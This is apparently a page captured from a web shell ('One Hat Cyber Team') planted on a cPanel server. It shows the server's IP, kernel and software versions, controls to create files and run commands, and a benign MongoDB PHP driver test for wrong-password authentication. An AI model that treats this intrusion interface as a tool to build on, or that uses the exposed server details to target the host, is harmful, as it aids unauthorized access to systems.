⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.14
Server IP:
178.33.27.10
Server:
Linux cpanel.dev-unit.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
Server Software:
Apache/2.4.62 (Unix) OpenSSL/1.0.2k-fips
PHP Version:
8.2.25
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
local
/
src
/
mongodb-1.11.1
/
tests
/
connect
/
View File Name :
standalone-auth_error-001.phpt
--TEST-- Connect to MongoDB with using default auth mechanism and wrong password --SKIPIF-- <?php require __DIR__ . "/../utils/basic-skipif.inc"; ?> <?php skip_if_not_auth(); ?> <?php skip_if_not_auth_mechanism(null); ?> <?php skip_if_not_clean(); ?> --FILE-- <?php require_once __DIR__ . "/../utils/basic.inc"; $username = "root"; $password = "the-wrong-password"; $database = "admin"; $parsed = parse_url(URI); $dsn = sprintf("mongodb://%s:%s@%s:%d/%s", $username, $password, $parsed["host"], $parsed["port"], $database); $manager = create_test_manager($dsn); $bulk = new MongoDB\Driver\BulkWrite; $bulk->insert(array("my" => "value")); echo throws(function() use($manager, $bulk) { $manager->executeBulkWrite(NS, $bulk); }, 'MongoDB\Driver\Exception\BulkWriteException'), "\n"; ?> ===DONE=== <?php exit(0); ?> --EXPECT-- OK: Got MongoDB\Driver\Exception\BulkWriteException Bulk write failed due to previous MongoDB\Driver\Exception\AuthenticationException: Authentication failed. ===DONE===